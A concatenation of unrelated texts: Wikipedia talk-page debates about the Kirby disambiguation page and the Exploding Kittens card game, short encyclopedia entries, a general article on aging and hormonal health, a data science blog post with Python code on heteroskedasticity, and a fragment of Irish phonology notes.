* And yet the Mars article is that way because the planet is the most notable thing with that name. Let's face it, barely any of the other things listed on this page currently have little (if any) significance, and the only one on the list that is referred to solely as 'Kirby' most often is the Nintendo character. Just because you've never heard of him doesn't make him any less popular. - DisasterKirby 18:20, 27 February 2007 (UTC)
* And I'm shocked that you don't see "bias by default" as a problem. You are saying that regardless of any merits involved with the character of series, the fact that it's fictional makes them all moot. Well, there are actually well-known Marios - Mario Lemiux, Mario Puzo. Why isn't Mario a disambig? Because Mario is more well-known. - A Link to the Past (talk) 22:15, 27 February 2007 (UTC)
* Mars bars sales vs. Kirby video game sales is an irrelevant and false comparison. The reason the Mars bars article isn't named "Mars" is because it's not the primary topic; the planet is. In the case we are dealing with now, Kirby the video game character is the primary topic and the only item on the dab page with the single name "Kirby." So basically what you're left with is "you don't care." Crumbsucker 00:46, 1 March 2007 (UTC)
* Do a Google search for Kirby. What is the top result? The first one returned by Google? That's right, it's Kirby vacuum cleaners. In fact, I've just checked the first few pages of Google hits for Kirby, and the videogame character only appears TWICE in the first 40 results! One is the official site, the other is the Wikipedia article. Sounds like your little theory that the character is the most searched for term just flew outta the window buddy!Plasticbottle 04:00, 28 February 2007 (UTC)
* Google results are anecdotal evidence. On the note of Google results, Kirby appears three times in the top 10, not twice in the top 40. - A Link to the Past (talk) 04:48, 28 February 2007 (UTC)
* On a related note, I noticed that you have only made a handful of edits. - A Link to the Past (talk) 04:50, 28 February 2007 (UTC)
* It should be noted that among all of the articles currently listed on the page, nearly all of them are stubs, save for about five or six articles. Not having a list full of stubby articles on the disambiguation page seems a bit meaningless. - DisasterKirby 19:47, 28 February 2007 (UTC)
* Stubs don't mean anything except to indicate bias: many more Wikipedians focus on video game characters over real entities. This argument was tried when making Bowser about the Nintendo character. Argument didn't fly in lieu of seeing usage of Bowser (tanker). Hbdragon88 06:25, 4 March 2007 (UTC)
* I'd have a hard time believing that there's more bias towards video games than there is against on Wikipedia. - A Link to the Past (talk) 00:24, 5 March 2007 (UTC)
* Half a glance at any video-game related article basically shoots that position right out of the sky. -R. fiend 00:35, 5 March 2007 (UTC)
* Because a lot of people like to improve video game articles? Yes, I guess the only way that my position can be right is for all video game articles to be bad. AMIB is a video game article editor, so is Hbdragon, and yet they vote oppose. Tell me, R. fiend - how exactly can you still argue that there's less bias against video game articles than there is towards it when you yourself are so unbelievably biased? And no, number of people who are biased towards VG articles is not what we're looking at, we're looking at it based on how biased they are. I mean, for instance, you suggested that, without reason and being sarcastic to boot when asked for a reason why, Kirby will sotp being relevant in a few years, as if it would suddenly come to a screeching halt after fifteen years. - A Link to the Past (talk) 01:00, 5 March 2007 (UTC)
* "AMIB is a video game article editor, so is Hbdragon, and yet they vote oppose" Exactly, that shows that opposition to the move is not based on some sort of "anti-video game bias" but because the proposed move is stupid. And I'm "unbelieveably biased" based on what? That my user name is a reference to hatred of a video game character? That my user page is littered with userboxes stating my irrational hatred of all things video game? That nearly all my edits are removal of information on video games or deletion of their articles? I think the obsession with video games of various users is much more well-documented than my "unbelievable bias." As for my earlier assertion, sure, perhaps a few years is a slight exaggeration, but clearly you have no concept of the term "fad". -R. fiend 01:47, 5 March 2007 (UTC)
* I only edit video game articles, yet I am a huge deletionist/mergist, and worked to remove many Kirby articles, which hardly shows that my move could not at all be considered "bias" towards or against anything.
* Except it's NOT a fad. For the same reason that New Super Mario Bros. sold more than any other Mario game released this gen, last-gen, and it's less than 2 million away from beating one of the most critically acclaimed Mario games ever, Super Mario 64 (which means that Mario is not a fad), or that Pokémon Diamond/Pearl had the best launch sales for any Pokémon game ever (which means that Pokémon is not a fad), or that Dragon Quest is still a cultural phenomenon from the NES to the PS2 (which means that Dragon Quest is not a fad). In the current gen (Wii/360/PS3/DS/PSP), there have been two Kirby games released - one million seller after two months, one >600,000 seller. Last-gen (GCN/PS2/Xbox/DC/GBA), there were three Kirby games released - all million sellers. You can't just give a baseless opinion as an argument. If you're going to call Kirby a fad that will end in a few years, you should actually show a decline, but nothing shows that any sort of decline exists - especially not that an anime was released last generation, and a manga, making it the biggest leap in the series besides its creation. Squeak Squad's sales are actually showing that it might beat other Kirby games, so basically, the very idea that it could be a fad is just some biased video game hater's baseless conjecture. - A Link to the Past (talk) 02:23, 5 March 2007 (UTC)
* And just for fun, how successful is Kirby Company outside of the United States? - A Link to the Past (talk) 03:06, 5 March 2007 (UTC)
* Well, I mean, look at King Bowser vs. Bowser (tanker). The tanker bowser looks to be fairly common outside of the United States; the disambig describes it as a generic term for petrol pumps. But it's only a two-paragraph stub as opposed to the well-mantained and well-written King Bowser article. Anyway, the heated debate somehow disappeared, but I did find one on JzG's talk page: Why did you move bowser? from September. Hbdragon88 02:43, 5 March 2007 (UTC)
* The above discussion is preserved as an archive of the debate. Please do not modify it. Subsequent comments should be made in a new section on this talk page. No further edits should be made to this section.
(Third opinion) adding "Kirby (character)" on op of the page
The Kirby character is by far the most famous Kirby, but its on bottom of the page. I think tis page sohuld contain a notice of "If you are referring to the Nintendo character, go to Kirby (character) <('-'<). FixmanPraise me 17:20, 4 February 2009 (UTC)
* Or, just move the entry on the character from the bottom to the top. -R. fiend (talk) 17:38, 4 February 2009 (UTC) | WIKI |
The Impact of Aging on Hormonal Health
The Impact of Aging on Hormonal Health
Introduction
Aging is an inevitable part of life that brings about numerous changes in the body, including alterations in hormonal health. Hormones, the body’s chemical messengers, play a crucial role in regulating various physiological processes such as metabolism, growth, reproduction, and mood. As we age, the production and regulation of hormones can change significantly, impacting overall health and well-being. Understanding these changes is essential for managing health as we age. This article explores the impact of aging on hormonal health, examining key hormonal changes, their effects on physical and mental health, and strategies for managing hormonal health during aging.
The Endocrine System and Aging
Brief Overview of the Endocrine System
The endocrine system consists of glands that produce and secrete hormones directly into the bloodstream. These hormones regulate many bodily functions, including metabolism, growth, development, tissue function, and mood. Major endocrine glands include the pituitary, thyroid, adrenal glands, pancreas, ovaries (in females), and testes (in males).
How Aging Affects the Endocrine Glands and Hormone Production
Aging affects the endocrine system in several ways, leading to changes in the production, secretion, and regulation of hormones. These changes can result from the natural decline in gland function, alterations in hormone receptor sensitivity, and changes in the feedback mechanisms that control hormone levels.
Key Hormonal Changes with Aging
Decrease in Sex Hormones
One of the most notable hormonal changes with aging is the decline in sex hormones:
• Estrogen and Progesterone: In women, menopause marks a significant drop in estrogen and progesterone levels, leading to various symptoms such as hot flashes, night sweats, and vaginal dryness.
• Testosterone: In men, testosterone levels gradually decrease with age, a condition often referred to as andropause. This decline can lead to reduced muscle mass, decreased libido, and mood changes.
Changes in Thyroid Function
The thyroid gland, which regulates metabolism, can also be affected by aging. Both hypothyroidism (underactive thyroid) and hyperthyroidism (overactive thyroid) can occur more frequently in older adults, affecting energy levels, weight, and overall metabolism.
Alterations in Adrenal Hormones
The adrenal glands produce cortisol and aldosterone, which help the body respond to stress and regulate blood pressure, respectively. With aging, cortisol levels can become dysregulated, potentially leading to increased abdominal fat, higher blood sugar levels, and a weakened immune response. Aldosterone levels also tend to decline, which can impact fluid and electrolyte balance.
Insulin and Glucose Metabolism
Aging can lead to changes in insulin production and glucose metabolism, increasing the risk of insulin resistance and type 2 diabetes. These changes are often associated with a higher prevalence of obesity and metabolic syndrome in older adults.
Growth Hormone and IGF-1 Levels
Growth hormone (GH) and insulin-like growth factor 1 (IGF-1) levels decline with age, leading to decreased muscle mass, increased fat accumulation, and reduced bone density. These changes contribute to the physical frailty often seen in older adults.
Effects of Hormonal Changes on Physical Health
Impact on Bone Health
The decline in sex hormones, particularly estrogen, can lead to decreased bone density and an increased risk of osteoporosis and fractures. Maintaining bone health is crucial for preventing injuries and maintaining mobility in older adults.
Changes in Muscle Mass and Strength
The reduction in growth hormone and testosterone levels can lead to sarcopenia, a condition characterized by the loss of muscle mass and strength. This can affect balance, mobility, and overall physical function.
Effects on Cardiovascular Health
Hormonal changes can impact cardiovascular health in various ways. For example, decreased estrogen levels in postmenopausal women are associated with an increased risk of cardiovascular diseases, such as heart disease and stroke. Changes in cortisol and aldosterone can also affect blood pressure and heart function.
Influence on Metabolism and Weight Management
As metabolism slows with age, maintaining a healthy weight can become more challenging. Hormonal changes can lead to an increase in abdominal fat and a decrease in overall muscle mass, contributing to metabolic syndrome and other health issues.
Skin and Hair Changes
Hormonal changes can affect the skin and hair. Decreased estrogen levels can lead to thinner, less elastic skin and an increase in wrinkles. Hair may become thinner and grayer, and some individuals may experience hair loss.
Effects of Hormonal Changes on Mental Health
Cognitive Function and Memory
Hormonal changes can impact cognitive function and memory. For example, decreased estrogen levels in postmenopausal women have been linked to an increased risk of cognitive decline and Alzheimer’s disease. Similarly, low testosterone levels in men can affect cognitive abilities.
Mood Changes and Mental Health
Hormonal fluctuations can significantly impact mood and mental health. Decreased levels of sex hormones, thyroid hormones, and cortisol dysregulation can lead to symptoms of depression, anxiety, and irritability. Understanding these changes is crucial for managing mental health in older adults.
Sleep Patterns and Quality
Aging and hormonal changes can affect sleep patterns and quality. Decreased levels of melatonin, a hormone that regulates sleep-wake cycles, can lead to difficulties falling asleep, staying asleep, and experiencing restful sleep. Poor sleep quality can further exacerbate mood disorders and cognitive decline.
Managing Hormonal Health as You Age
Lifestyle Modifications
Adopting healthy lifestyle habits can help manage hormonal health during aging. These include:
• Diet: Eating a balanced diet rich in fruits, vegetables, whole grains, lean proteins, and healthy fats can support overall health and hormone balance.
• Exercise: Regular physical activity, including strength training and aerobic exercises, can help maintain muscle mass, support cardiovascular health, and improve mood.
• Stress Management: Practicing stress-reducing techniques such as mindfulness, meditation, and yoga can help manage cortisol levels and improve overall well-being.
Importance of Regular Health Check-Ups
Regular health check-ups and screenings can help detect hormonal imbalances and other health issues early. Monitoring hormone levels, bone density, blood glucose, and cardiovascular health can aid in the timely management of potential problems.
Hormone Replacement Therapy (HRT) and Its Risks and Benefits
Hormone replacement therapy (HRT) can help alleviate symptoms of hormonal decline, particularly in postmenopausal women. HRT involves the administration of estrogen, progesterone, or a combination of both. While HRT can be beneficial, it also carries risks, including an increased risk of blood clots, stroke, and certain cancers. It is essential to discuss the risks and benefits with a healthcare provider.
Alternative Therapies and Supplements
Alternative therapies and supplements may also help manage hormonal health. These can include:
• Phytoestrogens: Plant-based compounds that mimic estrogen and can help alleviate menopausal symptoms.
• Herbal Supplements: Certain herbs, such as black cohosh and red clover, may help manage menopausal symptoms.
• Vitamin and Mineral Supplements: Ensuring adequate intake of vitamins and minerals such as calcium, vitamin D, and magnesium can support bone health and overall hormonal balance.
Recent Research and Future Directions
Advances in Understanding Hormonal Aging
Recent research has advanced our understanding of how aging affects hormonal health. Studies continue to explore the mechanisms behind hormonal changes and their impact on physical and mental health. This research is crucial for developing new strategies to manage hormonal health in older adults.
Potential New Treatments and Therapies
Advances in medical research are leading to the development of new treatments and therapies for managing hormonal health during aging. These include novel hormone replacement therapies, medications to address specific hormonal imbalances, and personalized approaches based on genetic and biochemical profiling.
The Role of Personalized Medicine in Managing Hormonal Health
Personalized medicine, which tailors treatment to an individual’s unique genetic makeup and health profile, holds promise for managing hormonal health during aging. By considering genetic, environmental, and lifestyle factors, personalized medicine can offer more effective and targeted interventions for hormonal imbalances.
Conclusion
Aging brings about significant changes in hormonal health, impacting both physical and mental well-being. Understanding these changes is essential for managing health during aging. By adopting healthy lifestyle habits, undergoing regular health check-ups, and exploring potential treatments and therapies, individuals can better manage hormonal health and maintain a high quality of life as they age. Ongoing research and advances in personalized medicine hold promise for the future, offering new hope for those affected by age-related hormonal changes. By staying informed and proactive, we can navigate the challenges of aging and promote overall health and well-being. | ESSENTIALAI-STEM |
Jon Hillcock
Jon Hillcock (born 25 January 1979) is a British radio DJ, presenter, voiceover artist and writer. He is currently a deputy presenter on BBC Radio 6 Music.
Radio
Hillcock began his radio career presenting on Loughborough Campus Radio, while studying at Loughborough University in 2001. Following graduation, material from the LCR show was used to secure employment as a DJ/presenter on Virgin Megastores’ national in-store radio station, VMR.
While working at VMR full-time as assistant manager and DJ, Hillcock also began working on John Kennedy's X-Posure at London station Xfm, which eventually led to him becoming a full-time presenter. Following a stint presenting early breakfast at Xfm alongside general relief cover across the schedule - including regular cover for John Kennedy - in September 2007 Hillcock was given his own Saturday night specialist music show. New Noise shared its name with a new music podcast he had also started producing and presenting that year.
In 2009 Hillcock joined NME Radio to continue presenting both his weekly specialist new music programme New Noise, alongside a new daily programme from 10am to 2pm.
Since 2010 Hillcock has been used as cover on a number of programmes for the BBC. For Janice Long on BBC Radio 2, and Tom Ravenscroft, Marc Riley, Tom Robinson, Gideon Coe, Now Playing at 6 Music, Steve Lamacq, Jon Holmes, Chris Hawkins and Nemone on BBC Radio 6 Music. Jon has most recently been found standing in for Shaun W Keaveny on his regular 'sick days'.
In 2011 Hillcock was invited to present a show on Domino Radio, a short-term radio station set up by Domino Records.
Hillcock's new music podcast New Noise was renamed All Back No Front in October 2012. The relaunch coincided with the start of All Back No Front Live - a series of gigs curated and promoted by Hillcock in London.
Music writing
Since August 2011 Hillcock has written a weekly live music review column for Clash Magazine. He has also contributed to Q Magazine and NME.
Voice work
Hillcock is voiceover artist and has lent his voice to many different album and single advertising campaigns. He has been a continuity announcer for ITV3, ITV4, Virgin1/Channel One & Sky2 and is also a regular voice on BBC America.
Personal life
Hillcock has a sister, is married and has three daughters.
He is a fan of Charlton Athletic FC. | WIKI |
Talk:Exploding Kittens
Repeated copyvio edits
Several new and IP users have been trying to add exact copies of the game's web site or Kickstarter page. I have been helping with making sure these do not stay in the article. However the addition of the Achievements section and whether they have been reached is factual, and not a WP:COPYVIO so I added that back in. —     Bill W.      (Talk)  (Contrib)   (User:Wtwilson3)   — 16:11, 6 February 2015 (UTC)
* Whether the achievements are factual or not, is not the question. They fail a couple of WP guidelines and should be removed. - X201 (talk) 16:59, 6 February 2015 (UTC)
* OK, that's a fair point for discussion. Which guidelines does that section fail? —     Bill W.      (Talk)  (Contrib)   (User:Wtwilson3)   — 18:04, 6 February 2015 (UTC)
* In my opinion, it fails WP:TRIVIA. SEC (talk) 21:41, 6 February 2015 (UTC)
* Here are some quotes from that guideline which make me believe it does not apply to this section:
* A trivia section is one that contains a disorganized and "unselective" list.
* This guideline does not suggest the inclusion or exclusion of any information; it only gives style recommendations.
* Issues of inclusion are addressed by content policies.
* The list is organized, specific, and relevant to the way the company is promoting its Kickstarter campaign. The technique is innovative, and therefore I think encyclopedic. —     Bill W.      (Talk)  (Contrib)   (User:Wtwilson3)   — 00:49, 7 February 2015 (UTC)
* Its giving undue weight to one tiny aspect of the Kickstarter. The list takes up half of the article. The prose section on the kickstarter campaign should be longer than the list. The list should be briefly mentioned, there's no need to have it in this article, Wikipedia isn't a newspaper, it shouldn't be reflecting day by day changes in the stretch goals, it should be taking a long view. Prose is miles better than a list. - X201 (talk) 09:30, 9 February 2015 (UTC)
* I've made the list collapsible so it doesn't overpower the prose in the article, but I still oppose removing it completely since it is an uncommon (unique?) way to promote an already successful Kickstarter campaign, and therefore noteworthy. —     Bill W.      (Talk)  (Contrib)   (User:Wtwilson3)   — 13:50, 9 February 2015 (UTC)
Cancelled achievements
Worth adding the cancelled achievements, and the reason why? <IP_ADDRESS> (talk) 11:38, 7 February 2015 (UTC)
* Maybe. But I can't find any info on any cancelled achievements. Can you post a link here on talk of what source material you're thinking about so we can have a look at it? —     Bill W.      (Talk)  (Contrib)   (User:Wtwilson3)   — 12:05, 7 February 2015 (UTC)
* Update 9 has the original challenges (get 3 celebs to tweet) https://www.kickstarter.com/projects/elanlee/exploding-kittens/posts/1125351, I'll try and find the creators request to stop (overloading the celebs twitter accounts) but can't recall if it was in the main comments or theupdate comments at the moment. <IP_ADDRESS> (talk) 15:34, 7 February 2015 (UTC)
* I found it on a Facebook post. It really isn't important enough to include unless you can find it mentioned outside of primary sources. —     Bill W.      (Talk)  (Contrib)   (User:Wtwilson3)   — 16:08, 7 February 2015 (UTC).
* I can no longer find it on their Facebook page, but a good place to look for it mentioned outside the primary source is the Twitter pages of the celebs that were picked. --Macha Panta (talk) 05:25, 10 February 2015 (UTC)
* Those Twitter pages would still be primary sources. The policy describes a primary source as "original materials that are close to an event, and are often accounts written by people who are directly involved." That's not to say they can't possibly be used, but it's not recommended. If no secondary sources considered the event important enough to write about, Wikipedia should not be the first place it appears. Personally, speaking as an editor who is generally an inclusionist, I don't think it's noteworthy enough. But if a different consensus is reached by editors here, and a reliable source can be agreed on, then it should be added. —     Bill W.      (Talk)  (Contrib)   (User:Wtwilson3)   — 13:44, 10 February 2015 (UTC)
Streaking Kittens pack
This article appears to be missing information on the newer Streaking Kittens expansion pack. I happen to have a copy of the pack, so I will try to edit it when I am able to (and add sources for verification.) -- 9 5 7 -- 13:55, 6 January 2020 (UTC)
Unstable Unicorns
I did a search for "Unstable Unicorns" which redirected here. The article mentions nothing about Unstable Unicorns. Is it possible to at least mention that game, or else remove the redirect. I am assuming that there is some sort of link between the two games, but have absolutely no idea what, this should be a minimum requirement for such a redirect. Can we please not put in redirects where no information is provided. — Preceding unsigned comment added by <IP_ADDRESS> (talk) 11:24, 17 December 2020 (UTC)
How to play
Play until draw exploding when happen explode unless have defuse <IP_ADDRESS> (talk) 03:49, 26 January 2024 (UTC) | WIKI |
First National Bank (Huntsville, Alabama)
The First National Bank is a historic bank building in Huntsville, Alabama. The temple-form Greek Revival structure was built in 1835–1836. Designed by locally famous architect George Steele, it occupies a prominent position, facing the courthouse square and sitting on a bluff directly above the Big Spring. It was the longest-serving bank building in Alabama, operating until 2010 when Regions Bank moved their downtown branch to a new location. The building was listed on the National Register of Historic Places in 1974.
History
The First National Bank building is situated on the west side of Courthouse Square, on a bluff above the Big Spring and Big Spring Park. The site is where the founder of Huntsville, John Hunt, built his cabin in 1805. The first bank to open in what was then the Mississippi Territory was the Planters and Merchants Bank, chartered in 1817. Beginning in 1818, they occupied a small brick building on the square, which had been built as a mercantile store two years prior. Despite its long list of wealthy local investors, the bank soon became over-leveraged. Governor Israel Pickens ordered the bank to be shut down in 1822, but legal challenges staved off dissolution until 1825. The bank's building burned sometime between 1828 and 1830.
Pickens won re-election as governor in 1823, running on a platform that included the establishment of a state bank. The bank was founded in 1824 in the capital, Cahaba, moving to Tuscaloosa along with the government in 1826. Assets came from bond sales and trust funds owned by the State. Branches were established in Mobile, Montgomery, and Decatur in 1832. Feeling slighted that the North Alabama branch was given to the younger and smaller Decatur, Huntsville legislators fought for a branch, which was awarded in 1835. Construction of the building was completed the following year.
The availability of credit further fueled the land rush known as Alabama Fever. The banks provided enough revenue to the state government that the legislature abolished state taxes. The good times were short-lived, as the bank quickly became over-leveraged in the Panic of 1837. Benjamin Fitzpatrick was elected governor in 1841, promising to shut down the state bank. The charter expired in 1844, and was not renewed; the bank's debts were not settled until 1853.
The same year, the Northern Bank of Alabama was founded in the old State Bank building. It operated until the Civil War, when Union troops occupied Huntsville in 1862. During the war, the building was used as a commissary. At the end of the war, the National Bank of Huntsville was founded, using assets hidden from Union troops inside the building. In 1889 the bank changed its name to the First National Bank of Huntsville. First National merged with the Exchange Security Bank of Birmingham to form the First Alabama Bank in 1971. First Alabama changed its name to Regions Bank in 1992. Regions occupied the building until February 2010, when they moved their downtown branch to a larger location and donated the building to a non-profit redevelopment group.
Architecture
The National Bank represented a shift in architectural design, both for architect George Steele, and for North Alabama as a whole. Prior to submitting a bid for the bank, most of Steele's work was in the Federal style, which was popular in the first quarter of the 19th century. Steele drew inspiration for his design from a trip to Washington, D.C. and Charlottesville, Virginia. The building is similar in form to the Bank of Pennsylvania and has a similar floorplan to the First Bank of the United States in Philadelphia, both buildings featured in pattern books of the day. Steele also won the bid for the second Madison County Courthouse, another temple-form Greek Revival building located across from the bank and completed in 1840.
The main block of the building is 53 feet (16 m) wide by 77 feet (23.5 m) long. The hexastyle portico and façade are constructed of locally quarried limestone blocks, with the rest of the building constructed of stuccoed brick. The Ionic columns support a plain entablature, adorned only with the name of the bank (currently Regions). The 15 foot (4.5 m) tall double entry doors are made of red cedar, and have five square relief panels each. Two smaller doors, which open directly into front offices, flank the main door, each of which is topped with a four-panel transom; these doors were added in 1899. An iron-railed balcony formerly stretched across the middle portion of the front, but was removed sometime between 1934 and 1973. Windows on the second floor façade and sides are sashes, with five narrow, vertical panes in the top and two in the bottom. First floor windows along the sides are six-over-six sashes. The small cupola and weather vane atop the copper gable roof are from the second Madison County Courthouse, which was demolished in 1914.
The main entrance to the building opens into a vestibule which is flanked by the two offices. The vestibule opens into the main lobby area, which is bisected by the mahogany tellers' desk. Between the teller stations, the desk has columns and entablature that mimic the façade. A tellers' room and the director's room are behind the desk, on either side of the bank vault. A fireplace mantel in the director's room also mimics the façade with Ionic pilasters. A service room and stair hall are at the rear of the building. The second floor was living quarters for the cashier, which was required by law when the bank was built.
Behind the main block, off the southeast corner, is a two-story wing, originally used as slave quarters. There are four rooms on each floor, and four more in the basement. A stair loggia with a deck above opened onto a sidewalk between the main building and Fountain Circle; the loggia was enclosed and access to the deck removed sometime after 1934. The northwest side was originally an open courtyard overlooking the Big Spring, but further additions now cover the entire area. The basement was used to house slaves who were being kept as collateral for mortgages by their owners. Windows on both floors on the Fountain Circle side are the same as those on the second floor of the main building. A door to the basement was removed and replaced with a night drop. | WIKI |
Zhang Hongjiang (footballer)
Zhang Hongjiang (born 13 June 1997) is a Chinese footballer who plays for Dalian Zhixing.
Club career
Zhang Hongjiang joined Portuguese Second Division side Gondomar from Dalian Transcendence in 2016. He was officially promoted to the first team squad in the summer of 2016 before making his debut in a league game against S.C. Salgueiros on 29 January 2017 in a 3–1 defeat.
In 2017, Zhang was loaned to China League One side Meizhou Hakka. In 2018, Zhang permanently transferred to Meizhou Hakka. In his first permanent full season at the club he would personally go on to win Young Player of the Season award at the end of the 2018 China League One season.
Career statistics
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Heteroskedasticity in Regression Models: Examples
heteroskedasticity-regression-models-examples
Have you ever encountered data that exhibits varying patterns of dispersion and wondered how it might impact your regression models? The varying patterns of dispersion represents the essence of heteroskedasticity – the phenomenon where the spread or variability of the residuals / errors in a regression model changes across different levels or values of the independent variables. As data scientists, understanding the concept of heteroskedasticity is crucial for robust and accurate analyses. In this blog, we delve into the intriguing world of heteroskedasticity in regression models and explore its implications through real-world examples.
What’s heteroskedasticity and why learn this concept?
Heteroskedasticity refers to a statistical phenomenon observed in regression analysis, where the variability or spread of the residuals (the differences between the observed and predicted values) is not constant across all levels of the independent variable(s). In simpler terms, it means that the dispersion of the errors or residuals differs for different values or ranges of the predictors.
In a regression model, we assume that the error term has a constant variance, known as homoskedasticity. Homoskedasticity implies that the spread of the residuals is the same for all values of the predictors, indicating a consistent level of variability in the relationship between the independent and dependent variables.
However, when heteroskedasticity is present, the spread of the residuals varies across different levels or ranges of the predictors. This means that the magnitude of the errors changes systematically with the predictors, resulting in a non-constant variance.
Heteroskedasticity violates one of the classical assumptions of ordinary least squares (OLS) regression, which assumes homoskedasticity. It can lead to biased coefficient estimates, incorrect hypothesis tests, unreliable confidence intervals, and inefficient use of data. Therefore, detecting and addressing heteroskedasticity is crucial to ensure accurate and reliable regression analyses.
Why learn about heteroskedasticity?
Imagine you are a data scientist working for a real estate company, and you are tasked with analyzing the relationship between the square footage of houses and their sale prices. You gather a dataset containing information on various houses, including their square footage and corresponding sale prices.
Now, if you overlook heteroskedasticity while building a regression model to predict house prices based on square footage, it can have significant consequences. Let’s explore two scenarios to understand the implications:
Scenario 1: Homoskedasticity (Constant Variance): If the assumption of homoskedasticity holds true, meaning the variance of the residuals is constant across all levels of square footage, the regression model would provide reliable estimates and valid inferences. The model can be used to predict house prices based on square footage with a high confidence, and the standard errors of the coefficients would accurately reflect the uncertainty in the estimates.
Scenario 2: Heteroskedasticity (Varying Variance): However, in reality, it may as well be found that the variability of the residuals changes as the square footage of houses increases. Larger houses tend to have a wider spread of prices, indicating heteroskedasticity. If the heteroskedasticity is ignored, some of the following issues could arise:
1. Biased Coefficient Estimates: Heteroskedasticity can lead to biased coefficient estimates. In this case, the model might put more weight on larger houses due to their larger variances, potentially overestimating their influence on sale prices.
2. Incorrect Hypothesis Tests: Heteroskedasticity violates the assumption of homoskedasticity, rendering hypothesis tests unreliable. Confidence intervals may be too narrow or too wide, and p-values might be skewed, leading to incorrect conclusions about the statistical significance of variables.
3. Inefficient Use of Data: Ignoring heteroskedasticity means failing to account for the information provided by the varying spread of residuals. The model would treat all data points equally, missing the opportunity to leverage the richer information provided by different levels of square footage.
4. Poor Predictive Performance: Heteroskedasticity can result in suboptimal predictive performance. The model might struggle to accurately predict house prices for different square footage ranges, as it fails to capture the changing variability inherent in the data.
By not paying attention to heteroskedasticity, data scientists risk obtaining misleading results and making erroneous conclusions. The true nature of the relationship between variables may be obscured, affecting model interpretability, predictive accuracy, and decision-making based on the analysis.
Therefore, it is crucial for data scientists to address heteroskedasticity appropriately when building regression models. By detecting, diagnosing, and mitigating heteroskedasticity through techniques like weighted least squares, robust regression, or transformation of variables, data scientists can ensure the reliability and validity of their regression analyses, leading to more accurate predictions and informed decision-making.
Heteroskedasticity & Regression Models: Python Code Example
In this section, we will explore a Python code example to illustrate the presence of heteroskedasticity in regression models using real-world data. We will leverage the Boston Housing dataset, which provides information about various factors influencing the median value of owner-occupied homes in different neighborhoods.
To begin, we will load the dataset from the provided URL using the pandas library. The dataset contains features such as average rooms per dwelling (RM), percentage of lower status of the population (LSTAT), and the median value of owner-occupied homes (MEDV), among others. We are particularly interested in the relationship between LSTAT and MDEV, as it allows us to investigate the presence of heteroskedasticity. Here is the Python code:
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn.linear_model import LinearRegression
# Load the Boston Housing dataset from the URL
url = 'https://raw.githubusercontent.com/selva86/datasets/master/BostonHousing.csv'
data = pd.read_csv(url)
# Extract the independent variable (LSTAT) and dependent variable (MEDV)
X = data['lstat'].values.reshape(-1, 1)
y = data['medv'].values
# Fit a linear regression model
regression_model = LinearRegression()
regression_model.fit(X, y)
y_predicted = regression_model.predict(X)
residuals = y - y_predicted
# Plot the scatter plot and residuals
plt.figure(figsize=(8, 6))
plt.scatter(X, y, label='Data Points')
plt.plot(X, y_predicted, color='red', label='Regression Line')
plt.scatter(X, residuals, color='green', label='Residuals')
plt.xlabel('LSTAT (Percentage of Lower Status of Population)')
plt.ylabel('MEDV (Median Value of Owner-Occupied Homes)')
plt.title('Heteroskedasticity Example with Boston Housing Data')
plt.legend()
plt.show()
Here is how the plot would look like representing heteroskedasticity in green.
In the above code, a linear regression model is fit to the Boston housing dataset. The model is trained using the fit(X, y) method, where X represents the independent variable (lstat) and y represents the dependent variable (medv). Once the model is fitted, we predict the values of y using predict(X), resulting in y_predicted. We then calculate the residuals by subtracting the predicted values from the actual y values.
For analysing heteroskedasticity, we visualize the scatter plot of the data points, the regression line, and the residuals using matplotlib. The scatter plot displays the relationship between LSTAT and MEDV, with the regression line representing the estimated linear relationship. The residuals, shown as green points, provide insight into the presence and pattern of heteroskedasticity.
By examining the scatter plot and residuals, we can visually assess whether heteroskedasticity is present in the relationship between LSTAT and MEDV. You may note that the residuals exhibit a pattern where the spread varies systematically across the range of LSTAT values. Thus, it indicates the presence of heteroskedasticity.
Conclusion
Heteroskedasticity is a critical consideration in regression models. Failing to address heteroskedasticity can lead to biased estimates, unreliable hypothesis tests, and suboptimal predictions. In this blog, we learned the concept of heteroskedasticity and its implications through a real-world example using the Boston Housing dataset. By visually analyzing scatter plots and residuals, we demonstrated how heteroskedasticity can be detected and its effects understood. Armed with this knowledge, data scientists can employ techniques such as transformations, weighted least squares, robust regression, or generalized least squares to mitigate the impact of heteroskedasticity and build more reliable regression models. Understanding and addressing heteroskedasticity is crucial for extracting accurate insights, making informed decisions, and maximizing the potential of regression analysis.
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H & L Records
H&L Records (1976–1979) was a record label founded by Hugo Peretti and Luigi Creatore after they left Avco Records. They took The Stylistics with them.
Releases
The dual artist record, "That Old Black Magic" by The Softones backed with "Love is the Answer" by Van McCoy was released on a single. By October 1978, the backing band for The Manhattans, 98.6 were signed to the H & L label.
Later years
In 1984, the H&L masters and those from Avco were acquired by Amherst Records. | WIKI |
Tina Orwall
Tina Louise Orwall (born April 3, 1965) is an American politician serving as the Speaker pro tempore of the Washington House of Representatives since 2021, a position she previously held from 2017 to 2018. A member of the Democratic Party, she is a member of the Washington House of Representatives, representing the 33rd district since 2009.
Career
Orwall served as a clinical social worker focused on serving people with mental illness. | WIKI |
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a nail, Dēsi ᴛariŋə. So (once) táirne for tarraingthe, péirse Eng. ‘perch’ C. M. O. I.
4. That rr has a tendeneytendency [sic] to developedevelop [sic] h is shown by double forms like orra ortha, siorraidhe and siorrthaidhe. ortha is no doubt the etymologically correct form from *-shōs but became confounded with rr because that group gave off an h.
5. r is a fruitful source of metathesis. cearthadh gan lucht, O. I. cethir, Sheehy, munartla a sleeve, brollach is ʙoʀʟᴜᴄ M. song. So from l, cuilceach ᴋʟikȧᴄ for cluiceach from cluig-theac bell-house, another name is used in cluicill Dheaglain ᴋʟɪkil yīaɢʟǡn .|. cluig-chill Dēcalāni in Ardmore in the Dēsi. trasna = tarsna, bratlin ʙȧʀḷīn, craosach, of ruddy face, is not connected with craos but is metathesis from caorsach, Catharlach, Caralegh, Dunne. Hence ‘Carlow’ with -ow imitated from Danish ‘Wicklow’. In the Dēsi Catharlach ᴋȧhʀ′ʟᴜᴄ, anbhruith aɴʀ′hə. It is hard to discern whether unvoiced r should be written hr or rh. Hence liathróid is often written liarthóid and cf. cearthadh above.
6. uathbhásach is Ūʀꜰǡꜱᴜᴄ, triur is tr′ūʀʀ′ = triur-fhear.
7. r is sometimes dropped in creidim kedim, so iomarcradh is iomarcadh always. Also chondairc is ᴄɴɪk.
s
